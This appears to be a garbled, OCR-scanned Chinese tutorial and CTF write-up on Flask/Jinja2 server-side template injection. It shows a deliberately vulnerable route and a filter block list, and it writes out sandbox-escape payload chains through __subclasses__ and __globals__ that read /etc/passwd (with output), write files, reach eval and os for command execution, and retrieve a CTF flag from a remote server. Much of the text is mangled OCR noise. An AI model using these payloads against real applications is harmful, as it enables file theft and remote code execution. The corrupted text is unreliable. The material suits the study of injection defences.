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//index.py

from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name_)

@app.route("/index/")

def test():
return "Hello flask"

if _ _name__

== "_main__":
app.run()

@app.route("/index/") #, routeXE i 2% HIVE F Bt 2K R B Mur g8 e ek, ¥BITRMAZ)E, Vil

http://127.0.0.1:5000/index
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render_template:

//index.py
@app.route("/index/")
def test():
return render_template("index.html")

//index.html 7 /templates/index.html

(&> ¢ @ ® 127.0.0.1:5000/index/
4* Most Visited @) Offensive Security @ Kali Linux @ Kali Do

test by gurenmeng

render_template_string:

//index.py
@app.route("/index/")
def test():
content = "test by gurenmeng"

return render_template_string(content)
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//index.py
@app.route("/index/")
def test():
html = "test by gurenmeng"
return render_template("index.html", content=html)

//templates/index.html
<p3>{{content}}</p3>

Pi 1 http://127.0.0.1:5000/index #t4 B shin#ktemplates/index.html, #htmlix 4> % h 4% 3 4 contentix 4~ 38
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//index.py

@app.route("/index/")

def test():
content = request.args.get("content")
return render_template_string(content)
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//index.py
@app.route("/index/")
def test():
content = request.args.get("content")
return render_template_string("{{html}}", html=content)
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<script=alert(l)</script>
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_ class__ REHAMNSHLER

_ bases__ REIKEFIR
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__subclasses_ () iRFElobjectiF3&

__globals_ HMEFSVIFHBARELHIMENEBERTE 5 func_globals EH
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//3REEEAERZE object

'"'"._class__._mro__[2]

{}.__class__._bases_ [0]

().__class__._bases_ [0]

[].__class__._ bases_ [0]

request._ class_ ._mro_ [9] //¥Eflaskfijinja2isidhyE ey H

>3 .__class_._ mro__

<type ‘object’'>

REARE TR

object.__subclasses_ ()
//''.__class__._ mro__[2].__subclasses__ ()

/7. ET B S %

lasses_ ()
ype ‘weakcallableproxy'>, <type "weakproxy’ tint's, < ri <type 'bytearray's, <type ' - oneType'>, <type 'NotImplementedTyp
type ‘xr ype "dict’ . ‘buffer’>
‘property ype 'memory > ‘tuple’ ype , <type ' _or_
type "classobj’> > ‘generato o i ‘wrapper_des <type ‘ellipsis's
r_descriptor “file's, <type "PyC callable-i rator o info's, ¢ _float_info's, <type 'Encodingh
dnameiterator’>, < iterator’>, < i : < : i ion'> ype "imp.NullImporter
rter’>, *_weakrefset. TterationGuar
_WeakSet abcoll.Hashable “classmethod’>, ‘a .Iter . . . c i _abcoll.Callable”
type di lues ite. Printer re.SRE_Scanner®>
rementalEncoder . IncrementalDe
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._class__._mro__[2]._ subclasses_ ().index(file)

__._mro__[2].__subclasses__().index(file)
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FETREMEA <type file> X5 HIRSG, W AEEEARTCHRS:

._class__._mro__[2]._ subclasses__ ()[40]

. class . mro_ [2]. subclasses ()[48]

<type 'file'>»

'"'. _class_._mro__[2].__subclasses__ ()[40]("/etc/passwd").read()



. _class . mro_ [2]. subclasses_ ()[48]("/etc/passwd”).read()

‘root:x:0:0: H in/bash\ndaemon:x:1:1:daemon: fusr/sbin: fusr/sbin/nologininbin:x:2: bln
games:x:5:68:games: fusr/games: fusr/sbin/nologin\nman: 12: fcache/man:/usr/sbin/ g 7:7:1p:/var/sp
:9:9:news !arxapool,neua:; i ologinnuucp:x:10:18:uucp pool/uucp:fusr/sbi ologin\nproxy:x:13:13:proxy
nbackup:x:34:34:bac { sr/sbin/nologin\nlist lailing List Manager:/var/list:/usr/sbin/nologin}
orting System (admin): / :fusr/sbin/nologin\nnobody:x:65534:65534: nobody: /nonexistent: fusr/sbin/nologin\ns
/sbin/nologin\nsystemd-resolve:x:101:1083:systemd Resolver,,,:/run/systemd/resolve: /usr/sbin/nologinin_apt:x:182:65534
.fbln;Fal;exnepmd' £ ] :188: Jarfrunfepmd:fusPfsbinfnologin\nDebian—exim 185:189: : /var/spool/eximd: fusr/sbin/nolog
ol/rwho: fusr/sbin/ gin\ sock 12 var/run/redsocks: fusr/sbi oloaln~nu;bmu< x:189:46:usbmux daemon,,,:
in/nologin\nntp 112:1° ;ncnexistent:;u5rﬁ5b1nfnologin\nStunnel4 113: var/run/stunneld: fusr/sbin/nologin\nr
gre5QL administrator,,,:/var/lib/postgresqgl: /bin/bash\ndnsmasqg:x:1] _34 dn;ma:q,,,' var/lib/misc: fusr/sbin/nologin
ar/run/iodine: fusr/sbin/nologin\narpwatch:x:119:121:ARP Watcher,,, rar/lib/arpwatch:/bin/sh\nsslh:x:120:125:: /nonexi
n\ncouchd =1 28:CouchDB Administrator,,,:/var/li uc bash\ngeoclu ] ] var / fgeoclue: fusr/sb
lord colour management daemon,,,:/var/lib/color y l’ f1d Jusr/sbin/nologin
bin/false\navahi 128:135:Avahi mDNS daemon,,, {run/ 36:Pulsefudio d
Manager: /var/lib/gdm3: /bin/false\nking-phisher 31:139:: /A b/king- :;u;rf bln ncloaln.ndradl;
sbin/nologin\nsystemd-timesync :111:113:systemd Time Synchron ation,,,:fﬂunfSyStemd.;u:P"

/bin/false\nsystemd-coredump:x:998:998:systemd Core Dumper sbin/nologin\n" !

¥iread ()M write()wh AT LABEAT 5 #E1E :

''._class__.__mro__[2].__subclasses_ ()[40]("/root/s%T/test.txt", "a").write("123")

BEEREARNFRPRBESRLH_ init_ KW pythonFRIBHAZE, FIULXBEARERE, FIEERLYFE
T —SREEEARATIH), BEF5IH __builtins__

._class__._mro__[2].__subclasses_ ()[59].__init__. globals_ ['__builtins__']

/BEEUL A
"'._class__._mro__[2].__subclasses_ ()[59].__init . globals_ ['__builtins__ ']['file']("/etc/passwd").re

subclasses__ ()[59].__init__
ash‘ndaemo 1: in/ i b i b i / blnfnologin\nsys
H var/cache/man: x:7:7:1p:/var/spool/lpd: fusr/sbi
r/spool/news:/ /s ) g gl /spool/uucp:/usr/sbin ncloaln npro E xy: /bi usr/sbin/
-%A'barkip !arfbackup:.f /sbi gin\nlist:x:38:38:Mailing List Manager:/var/list:/fusr/sbin/ ncloaln~n1rg.x.39 39:irc
fusr/sbin/nologin\nnobody 34:65534: nobody: /none J;tent.;uaF;abln;nclcan\n;yatemd—network
181:183:5y5temd Fesolwer,,,:Hrunfsystemdfresclwe: in/nologin\n_apt !
banFal;e‘nepmd x:! :' var/ / 1 £l var/spool/eximd: fusr/sbin/ noloaln~nLu1d
ol/rwho: / ] Y “;‘ s:f in oloaln.nu;bmu< x:189:46: u;bmu< daemcn,,,:
infnologin\nntp.x.llz.lld.. xis y / giny X H i fvar/run/stunneld: fusr/s
gre5QL administrator,,, ar/lib/postgres in/bash} smasq:x:116 4:dnsmasq,,, rar/lib/misc

ar/runfiodine: / ologin\narpwatch i RP Watcher,,, ;lib’arpwatch' bin/sh\nsslh 120:125:
n\ncouchdb DB Administrator,,,:/var/lib uchdb in/ \ngeoclue 1 ! r/lib/geoclue
lord colour man ment daemon,,,:/var/lib/colord [sbin/ gin\ns 126:134:
bin/false\navahi:x:128:135:Avahi mDNS daemon,,,:
; n/false\nking-phisher 31:139: ib/king-phisher: /usr/sbin/nolog
/nologin\nsys temd tlme;yn: 1:113:systemd Time Jynehrcn tion,,,:/run/systemd: fusr/sbin/nologin\nine
n/false\nsystemd-coredump 998:9 systemd Core Dumper bin/nologin\n"’ http
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._class__._mro__[2].__subclasses__ ()[59].__init . globals_ ['_builtins__'J['eval']('__import__("os

FiEZ: FHcommandssSEIl a4 AT :

[].__class__ . _base_ . subclasses_ ()[59].__init . globals_ ['linecache']._dict_ .values()[12]._ dict__



{}.__class__ . bases_ [@]._ subclasses_ ()[59].__init . globals_ ['_builtins__ 'J['__import__ ']J('os"').pop
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black_list = [ 'write', 'class', 'mro', 'read', '<', '>', '|', 'join' ‘'os', 'sys', 'pop', 'del', 'rm', 'eva
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http://111.198.29.45:31540/{{ "' '[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1lde36df
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404 Not Found

« > C @© @ 111.198.29.45:31540/{{"[request.args.a][request.args.b][2][

Not Found

The requested URL /QCTF{1 4m cOnFu51ed 6y PhPy7h000000000n} was not found on this server.

request.args.c

101

Apache/2.4.10 (Debian) Server at 111.198.29.45 Port 31540
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